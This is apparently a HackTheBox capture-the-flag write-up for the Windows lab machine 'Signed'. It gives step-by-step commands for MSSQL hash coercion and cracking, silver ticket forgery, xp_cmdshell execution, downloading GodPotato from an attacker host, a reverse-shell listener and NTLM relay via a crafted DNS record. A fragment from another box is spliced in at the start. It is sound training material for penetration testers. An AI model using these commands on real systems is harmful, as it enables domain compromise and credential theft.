SQL (BREACH\Administrator dbo@master)> enable_xp_cmdshellINFO(BREACHDC\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
INFO(BREACHDC\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (BREACH\Administrator dbo@master)> xp_cmdshellwhoamioutput
----------------
breach\svc_mssql
NULL
From here I can grab a PowerShell #3 (Base64) reverse shell from revshells.com and run it:
oxdf@hacky$rlwrap -cAr nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.10.28 57187
PS C:\Windows\system32>whoamibreach\svc_mssql
But I’m going to skip the shell and just escalate from xp_cmdshell.
Potato
svc_mssql has SeImpersonatePrivilege, which is standard for service accounts:
SQL (BREACH\Administrator dbo@master)> xp_cmdshellwhoami/privoutput
--------------------------------------------------------------------------------
NULL
PRIVILEGES INFORMATION
----------------------
NULL
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
NULL
SeImpersonatePrivilege allows a process to impersonate the security token of another process. Potato attacks abuse this by tricking a SYSTEM-level process into authenticating to a local named pipe, then impersonating that token to run commands as SYSTEM.
I’ll grab a release of GodPotato and upload it to Breach:
SQL (BREACH\Administrator dbo@master)> xp_cmdshellpowershell-ciwrhttp://10.10.14.16/GodPotato-NET4.exe-outfileC:\programdata\gp.exeoutput
------
NULL
SQL (BREACH\Administrator dbo@master)> xp_cmdshellpowershelllsC:\programdata\output
--------------------------------------------------------------------------------
NULL
NULL
Directory: C:\programdata
NULL
NULL
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2/10/2022 12:59 AM Amazon
d----- 2/5/2026 2:28 PM docker
d---s- 2/17/2022 10:26 AM Microsoft
d----- 4/17/2025 12:40 AM Package Cache
d----- 4/16/2025 11:23 PM regid.1991-06.com.microsoft
d----- 5/8/2021 8:20 AM SoftwareDistribution
d----- 5/8/2021 9:36 AM ssh
d----- 9/15/2021 3:11 AM USOPrivate
d----- 5/8/2021 8:20 AM USOShared
d----- 4/16/2025 11:28 PM VMware
-a---- 2/5/2026 2:35 PM 57344 gp.exe
NULL
NULL
NULL
Signed is an assume breach Windows box where I’m given credentials for a local MSSQL account. I’ll enumerate the database, coerce authentication from the MSSQL service account using xp_dirtree, and crack the NetNTLMv2 hash. With the service account password, I’ll forge a silver ticket with the IT group’s RID to gain sysadmin privileges on the database and get command execution. For root, I’ll show three paths: using OPENROWSET BULK impersonation with silver tickets to read files as Domain Admins and find the Administrator’s password in PowerShell history, relaying NTLM authentication from the DC using a crafted DNS record, and recovering SeImpersonatePrivilege from the original logon token to escalate with GodPotato.
As is common in real life Windows penetration tests, you will start the Signed box with credentials for the following account which can be used to access the MSSQL service: scott / Sm230#C5NatH
Recon
Initial Scanning
nmap finds only one open TCP port, MSSQL (1433):
oxdf@hacky$sudo nmap -p--vvv--min-rate 10000 10.129.242.173
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-31 00:47 UTC
...[snip]...
Nmap scan report for DC01.signed.htb (10.129.242.173)
Host is up, received echo-reply ttl 127 (0.022s latency).
Scanned at 2026-01-31 00:47:34 UTC for 14s
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE REASON
1433/tcp open ms-sql-s syn-ack ttl 127
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.36 seconds
Raw packets sent: 131074 (5.767MB) | Rcvd: 2 (72B)
oxdf@hacky$sudo nmap -p 1433 -sCV 10.129.242.173
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-31 00:48 UTC
Nmap scan report for DC01.signed.htb (10.129.242.173)
Host is up (0.022s latency).
PORT STATE SERVICE VERSION
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RC0+
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-01-30T16:34:41
|_Not valid after: 2056-01-30T16:34:41
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ssl-date: 2026-01-31T00:48:33+00:00; -5s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -5s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.75 seconds
nmap identifies the machine as running Windows with MSSQL Server 2022. It fails to get a hostname from the TLS certificate.
The port shows a TTL of 127, which matches the expected TTL for Windows one hop away.
Initial Credentials
HackTheBox provides the following scenario associated with Signed:
As is common in real life Windows penetration tests, you will start the Signed box with credentials for the following account which can be used to access the MSSQL service: scott / Sm230#C5NatH
The creds do work, but only using --local-auth:
oxdf@hacky$netexec mssql 10.129.242.173 -u scott -p'Sm230#C5NatH'MSSQL 10.129.242.173 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL 10.129.242.173 1433 DC01 [-] SIGNED.HTB\scott:Sm230#C5NatH (Login failed. The login is from an untrusted domain and cannot be used with Integrated authentication. Please try again with or without '--local-auth')
oxdf@hacky$netexec mssql 10.129.242.173 -u scott -p'Sm230#C5NatH'--local-authMSSQL 10.129.242.173 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL 10.129.242.173 1433 DC01 [+] DC01\scott:Sm230#C5NatH
That means the account is a login specific to SQL, as opposed to a Windows/domain account. --local-auth tells netexec to use the SQL authentication rather than Windows integrated auth.
I’ll also note the hostname and domain and update my hosts file:
10.129.242.173 DC01.signed.htb signed.htb DC01
MSSQL - TCP 1433
Database
I’ll connect to MSSQL using mssqlclient.py from Impacket:
oxdf@hacky$mssqlclient.py scott:'Sm230#C5NatH'@DC01.signed.htb
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (scott guest@master)>
The @@version global variable shows the version:
SQL (scott guest@master)> select@@version;
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Microsoft SQL Server 2022 (RTM) - 16.0.1000.6 (X64)
Oct 8 2022 05:58:25
Copyright (C) 2022 Microsoft Corporation
Enterprise Evaluation Edition (64-bit) on Windows Server 2019 Standard 10.0 <X64> (Build 17763: ) (Hypervisor)
The prompt shows that the scott user has the guest role and that the default database is master. I can explicitly get more information about the logged in user:
SQL (scott guest@master)> selectSUSER_SNAME(),ORIGINAL_LOGIN();
----- -----
scott scott
ORIGINAL_LOGIN() gives the user who authenticated to MSSQL, and SUSER_SNAME() gives the user mapped into the current security context. In this case, they are the same, but it is possible that logging in with one account will map to another user within MSSQL. To explicitly see permissions, I can check both the server and the database level permissions:
SQL (scott guest@master)> select*fromfn_my_permissions(NULL,'SERVER');entity_name subentity_name permission_name
----------- -------------- -----------------
server CONNECT SQL
server VIEW ANY DATABASE
SQL (scott guest@master)> SELECT*FROMfn_my_permissions(NULL,'DATABASE');entity_name subentity_name permission_name
----------- -------------- -----------------------------------------
database CONNECT
database VIEW ANY COLUMN ENCRYPTION KEY DEFINITION
database VIEW ANY COLUMN MASTER KEY DEFINITION
The databases are just the default DBs:
SQL (scott guest@master)> SELECTnameFROMsys.databases;name
------
master
tempdb
model
msdb
Without any interesting data to look at, I’ll check for xp_cmdshell:
SQL (scott guest@master)> xp_cmdshellwhoamiERROR(DC01): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.
SQL (scott guest@master)> enable_xp_cmdshellERROR(DC01): Line 105: User does not have permission to perform this action.
ERROR(DC01): Line 1: You do not have permission to run the RECONFIGURE statement.
ERROR(DC01): Line 62: The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
ERROR(DC01): Line 1: You do not have permission to run the RECONFIGURE state
It’s disabled, and scott doesn’t have permissions to enable it.
I’ll check for impersonation and linked servers, but neither show anything interesting:
I’m going to use xp_dirtree to try to list a directory from an SMB share I control. That will cause MSSQL to try to authenticate to my share (using the service account that MSSQL is running under), where I can capture the NetNTLMv2 challenge / response (hash) and try to crack it. I’ll start Responder:
oxdf@hacky$sudo uv run Responder.py -I tun0
...[snip]...
[+] Generic Options:
Responder NIC [tun0]
Responder IP [10.10.14.16]
Responder IPv6 [dead:beef:2::100e]
Challenge set [random]
Don't Respond To Names ['ISATAP', 'ISATAP.LOCAL']
[+] Current Session Variables:
Responder Machine Name [WIN-DIOQQ6Y3BSS]
Responder Domain Name [BB40.LOCAL]
Responder DCE-RPC Port [49815]
[+] Listening for events...
And now I’ll try to list a directory from an SMB share on my host:
$ hashcat ./mssqlsvc.hash rockyou.txt
hashcat (v7.1.2) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
5600 | NetNTLMv2 | Network Protocol
...[snip]...
MSSQLSVC::SIGNED:ddecccf61cda2e75:0bc9a74af8c16aa73a838979e707bcd7:0101000000000000807b86014d92dc012d7962b0dee159a80000000002000800420042003400300001001e00570049004e002d00440049004f005100510036005900330042005300530004003400570049004e002d00440049004f00510051003600590033004200530053002e0042004200340030002e004c004f00430041004c000300140042004200340030002e004c004f00430041004c000500140042004200340030002e004c004f00430041004c0007000800807b86014d92dc010600040002000000080030003000000000000000000000000030000040354681dd95d3e78f8b299933f8b5531267ae1a692342562a0bffe870919c8c0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00310036000000000000000000:purPLE9795!@
...[snip]...
It cracked to “purPLE9795!@” in less than five seconds on my host.
This password works for a non-local login to MSSQL:
oxdf@hacky$netexec mssql DC01.signed.htb -u mssqlsvc -p'purPLE9795!@'--local-authMSSQL 10.129.242.173 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL 10.129.242.173 1433 DC01 [-] DC01\mssqlsvc:purPLE9795!@ (Login failed for user 'mssqlsvc'. Please try again with or without '--local-auth')
oxdf@hacky$netexec mssql DC01.signed.htb -u mssqlsvc -p'purPLE9795!@'MSSQL 10.129.242.173 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL 10.129.242.173 1433 DC01 [+] SIGNED.HTB\mssqlsvc:purPLE9795!@
Shell as MSSQL
Enumeration
I can connect with mssqlclient.py, this time with the -windows-auth flag to use a domain account using Windows integrated authentication:
oxdf@hacky$mssqlclient.py mssqlsvc:'purPLE9795!@'@DC01.signed.htb -windows-authImpacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (SIGNED\mssqlsvc guest@master)>
It is still showing guest privileges. This account is not an admin:
dc_admin has been granted IMPERSONATE permission on the MS_DataCollectorInternalUser user in the msdb database. MS_DataCollectorInternalUser is a built-in high-privilege account in msdb. The problem is that dc_admin doesn’t exist as a database user in msdb:
That makes this a bit of a dead end at least for now. However, the enum_logins output shows more logins than scott is able to see. In addition to sa, there are five other users who have the sysadmin privileges, and one group, SIGNED\IT.
Silver Ticket
Background
A silver ticket is a forged Kerberos service ticket (TGS) created using the NTLM hash of a service account. Unlike a golden ticket (which forges a TGT using the krbtgt hash), a silver ticket targets a specific service. In this case, because I have the NTLM hash (or the raw password which makes it trivial to calculate the NTLM hash) of the mssqlsvc account, I can craft service tickets (TGS) for the MSSQL service.
TGS as mssqlsvc
I’ll start by proving I can forge a ticket for a user I know, mssqlsvc. To create a ticket, I’ll need:
The NTLM hash of the service account password.
The domain SID
To get the NTLM, I’ll use Python with the plaintext password:
The raw SID is a binary structure in little-endian format. Here’s how to parse it:
Bytes
Field
Value
01
Revision
1
05
Sub-authority count
5
000000000005
Identifier authority
5 (NT Authority)
15000000
Sub-auth 1
0x00000015 = 21
5b7bb0f3
Sub-auth 2
0xf3b07b5b = 4088429403
98aa2245
Sub-auth 3
0x4522aa98 = 1159899800
ad4a1ca4
Sub-auth 4
0xa41c4aad = 2753317549
01020000
Sub-auth 5
0x00000201 = 513 (Domain Users RID)
Putting that all together makes S-1-5-21-4088429403-1159899800-2753317549-513, and the domain SID will be that without the RID at the end: S-1-5-21-4088429403-1159899800-2753317549.
oxdf@hacky$ticketer.py -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn MSSQLSvc/DC01.signed.htb:1433 mssqlsvc
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for signed.htb/mssqlsvc
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in mssqlsvc.ccache
I can use that to connect to MSSQL:
oxdf@hacky$KRB5CCNAME=mssqlsvc.ccache mssqlclient.py -no-pass-k DC01.signed.htb
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (SIGNED\mssqlsvc guest@master)>
I can do the same thing to make a ticket as Administrator:
oxdf@hacky$ticketer.py -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn MSSQLSvc/DC01.signed.htb:1433 Administrator
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for signed.htb/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in Administrator.ccache
oxdf@hacky$KRB5CCNAME=Administrator.ccache mssqlclient.py -no-pass-k DC01.signed.htb
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (SIGNED\Administrator guest@master)>select SUSER_SNAME(), ORIGINAL_LOGIN();
------------------------ ------------------------
SIGNED.HTB\Administrator SIGNED.HTB\Administrator
Unfortunately, as shown above, the database is set up so that the Administrator user doesn’t have any useful privileges.
TGS with IT Group
The IT group has sysadmin privileges on the database. When a user authenticates using Kerberos, they authenticate to the DC which generates the TGS with all the information about the user, including their groups, and encrypts it with the NTLM of the service account that will receive it. When I’m forging a silver ticket using the service’s NTLM, I can add groups to the forged ticket.
oxdf@hacky$ticketer.py -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn MSSQLSvc/DC01.signed.htb:1433 -groups 1105 Administrator
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for signed.htb/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in Administrator.ccache
And connect:
oxdf@hacky$KRB5CCNAME=Administrator.ccache mssqlclient.py -no-pass-k DC01.signed.htb
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (SIGNED\Administrator dbo@master)>
Right away it’s showing dbo as the user, rather than guest!
Execution / Shell
With sysadmin privileges (via the IT group membership), I can enable xp_cmdshell:
SQL (SIGNED\Administrator dbo@master)> enable_xp_cmdshellINFO(DC01): Line 196: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
INFO(DC01): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (SIGNED\Administrator dbo@master)> xp_cmdshellwhoamioutput
---------------
signed\mssqlsvc
NULL
Regardless of the user I connect to the DB as, the DB is running commands on the host as the mssqlsvc. Still, that’s enough to get the user flag:
SQL (SIGNED\Administrator dbo@master)> xp_cmdshell"dir C:\Users\mssqlsvc\Desktop"output
--------------------------------------------------
Volume in drive C has no label.
Volume Serial Number is BED4-436E
NULL
Directory of C:\Users\mssqlsvc\Desktop
NULL
10/02/2025 08:50 AM <DIR> .
10/02/2025 08:50 AM <DIR> ..
01/30/2026 08:33 AM 34 user.txt
1 File(s) 34 bytes
2 Dir(s) 6,209,335,296 bytes free
NULL
SQL (SIGNED\Administrator dbo@master)> xp_cmdshell"type C:\Users\mssqlsvc\Desktop\user.txt"output
--------------------------------
3d5747bd************************
NULL
I can also pass a PowerShell rev shell from revshells.com:
oxdf@hacky$rlwrap -cAr nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.242.173 62457
PS C:\Windows\system32>
Many Escalations
Setup
Enumeration
This process doesn’t have any useful privileges:
PS C:\>whoami/priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ================================== ========
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
It would be very common to see SeImpersonatePrivilege here, but the service must be hardened against that line of attack (I’ll abuse it anyway later).
mssqlsvc’s home directory is empty:
PS C:\users\mssqlsvc>tree/fFolder PATH listing
Volume serial number is BED4-436E
C:.
????Desktop
? user.txt
?
????Documents
????Downloads
????Favorites
????Links
????Music
????Pictures
????Saved Games
????Videos
There are no other interesting users on the filesystem:
PS C:\users>ls
Directory: C:\users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/7/2025 2:56 AM Administrator
d----- 10/2/2025 9:27 AM mssqlsvc
d-r--- 4/10/2020 10:49 AM Public
The root of the drive is pretty empty as well:
PS C:\>ls
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/7/2025 2:57 AM inetpub
d----- 10/10/2020 8:38 AM PerfLogs
d-r--- 10/6/2025 8:30 AM Program Files
d----- 10/2/2025 9:25 AM Program Files (x86)
d----- 10/2/2025 9:19 AM SQL2022
d-r--- 10/2/2025 9:27 AM Users
d----- 10/7/2025 3:05 AM Windows
inetpub is empty and SQL2022 appears empty (it’s actually just inaccessible to mssqlsvc, and it’s not interesting anyway). There aren’t any interesting install programs.
Tunnel
For some of the various escalation methods it’ll be useful to have a proxy through localhost to access other ports besides 1433. I’ll upload Chisel:
This hangs, but there’s a connection at the server:
2026/02/01 13:41:25 server: session#1: Client version (1.10.1) differs from server version (1.10.0)
2026/02/01 13:41:25 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening
I’ll configure proxychains by making sure the end of my /etc/proxychains.conf is set up to use this:
There’s an interesting quirk of MSSQL and its OPENROWSET where it will use the groups given to it in the authenticating service ticket if the ticket is for the account running MSSQL (so in this case mssqlsvc). I can’t find documentation for this behavior, though I confirmed it only works when the user ID of the mssqlsvc user is explicitly given (the actual username given doesn’t matter). sokafr on BlueSky tipped me off to a post from xct, MSSQL Silver Tickets and Token Privileges, that shows how this works. I also showed this attack before in Escape.
I’ll add two options to my ticketer.py call:
-user-id 1103 - Force the user ID to be that of mssqlsvc.
-groups '512,1105' - 1105 is IT, to get sysadmin privileges on the DB. 512 is Domain Admins, though any domain privileged group would work here, as this is what will let me access files.
oxdf@hacky$KRB5CCNAME=doesntmatter.ccache mssqlclient.py -no-pass-k DC01.signed.htb
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (SIGNED\mssqlsvc dbo@master)>
I’m still dbo, and showing as the mssqlsvc account. If I try xp_cmdshell to read the root flag, it fails:
SQL (SIGNED\mssqlsvc dbo@master)> xp_cmdshell"type C:\Users\Administrator\Desktop\root.txt"output
-----------------
Access is denied.
NULL
mssqlsvc is spawning a new cmd.exe process, and it doesn’t get the groups from the ticket. I can show this explicitly:
SQL (SIGNED\mssqlsvc dbo@master)> xp_cmdshell"whoami /groups"output
--------------------------------------------------------------------------------
NULL
GROUP INFORMATION
-----------------
NULL
Group Name Type SID Attributes
========================================== ================ =============================================================== ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE Well-known group S-1-5-6 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT SERVICE\MSSQLSERVER Well-known group S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003 Enabled by default, Enabled group, Group owner
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
NULL
But OPENROWSET with the BULK keyword can read files using those groups:
I’ll abuse a similar strategy to what I showed in DarkCorp, coercing an authentication attempt from the DC to me using an empty CREDENTIAL_TARGET_INFORMATION structure. This strategy, described in depth in this Synactiv post shows how I can create a DNS record that will point to a host I control without conflicting with the existing DC01 record, but that within Kerberos will be interpreted as if it is DC01. This allows me to act as if I’m DC01.
Generate DNS Record
I’ll use dnstool.py (from krbrelayx) to create a DNS record on the domain with the following options:
-u 'SIGNED\mssqlsvc' -p 'purPLE9795!@' - user to auth as
-a add - add record
-r dc011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA - domain to add
-d 10.10.14.16 - the value for the domain
10.129.242.173 - host to send this request.
It works:
oxdf@hacky$proxychains uv run dnstool.py -u'SIGNED\mssqlsvc'-p'purPLE9795!@'-a add -r dc011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA -d 10.10.14.16 10.129.242.173
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[-] Connecting to host...
[-] Binding to host
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.129.242.173:389 ... OK
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully
I can verify it works using ping from Signed:
SQL (SIGNED\mssqlsvc dbo@master)> xp_cmdshell"ping dc011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA"output
--------------------------------------------------------------------------------
NULL
Pinging dc011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA.SIGNED.HTB [10.10.14.16] with 32 bytes of data:
Reply from 10.10.14.16: bytes=32 time=22ms TTL=63
Reply from 10.10.14.16: bytes=32 time=22ms TTL=63
Reply from 10.10.14.16: bytes=32 time=22ms TTL=63
Reply from 10.10.14.16: bytes=32 time=22ms TTL=63
NULL
Ping statistics for 10.10.14.16:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 22ms, Maximum = 22ms, Average = 22ms
NULL
It’s sending ICMP to my IP and getting responses.
Note: This DNS record gets cleared every 15 minutes or so, so if it seems to not be working, it’s worth checking that or recreating it.
Coerce
There are several well known methods to coerce authentication from a Windows server to a given target. The netexec module COERCE_PLUS has many built in, so I’ll give that a try. To see if it works, I’ll use Responder.py again:
[SMB] NTLMv2-SSP Client : 10.129.242.173
[SMB] NTLMv2-SSP Username : SIGNED\DC01$
[SMB] NTLMv2-SSP Hash : DC01$::SIGNED:dcde56541b29fcda:A79D4C3B21804826EF53238577F98385:01010000000000000021BAE68A93DC
01841843ADB4CA26FF000000000200080054005A004D00570001001E00570049004E002D003700550059005A005900490048004E004600340030000400
3400570049004E002D003700550059005A005900490048004E004600340030002E0054005A004D0057002E004C004F00430041004C000300140054005A
004D0057002E004C004F00430041004C000500140054005A004D0057002E004C004F00430041004C00070008000021BAE68A93DC010600040002000000
0800300030000000000000000000000000400000181F759E902000B736A92CAA0599B51C0AF57386567D493E1138CB5EDF4C9B560A0010000000000000
00000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00310036000000000000000000
[*] Skipping previously captured hash for SIGNED\DC01$
[*] Skipping previously captured hash for SIGNED\DC01$
[*] Skipping previously captured hash for SIGNED\DC01$
[*] Skipping previously captured hash for SIGNED\DC01$
[*] Skipping previously captured hash for SIGNED\DC01$
[*] Skipping previously captured hash for SIGNED\DC01$
[*] Skipping previously captured hash for SIGNED\DC01$
[*] Skipping previously captured hash for SIGNED\DC01$
It worked! I’m able to coerce authentication back to me using the DNS record I created.
Relay
I’ll run ntlmrelayx.py from Impacket to catch the authentication and relay it into a WinRM-based shell with the following options:
-t winrms://DC01.signed.htb - The target of this attack is WinRM on HTTPS on DC01.
-smb2support - Without SMB2 support, this can’t work.
oxdf@hacky$proxychains ntlmrelayx.py -t winrms://DC01.signed.htb -smb2support[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client WINRMS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Setting up WinRM (HTTP) Server on port 5985
[*] Setting up WinRMS (HTTPS) Server on port 5986
[*] Setting up RPC Server on port 135
[*] Multirelay disabled
[*] Servers started, waiting for connections
I’ll need proxychains so that ntlmrelayx.py can connect to 5986 on Signed, as it’s blocked by the firewall directly from my host. Now I’ll coerce again (this time just using PrinterBug to not flood with authentication attempts):
[*] (SMB): Received connection from 10.129.242.173, attacking target winrms://DC01.signed.htb
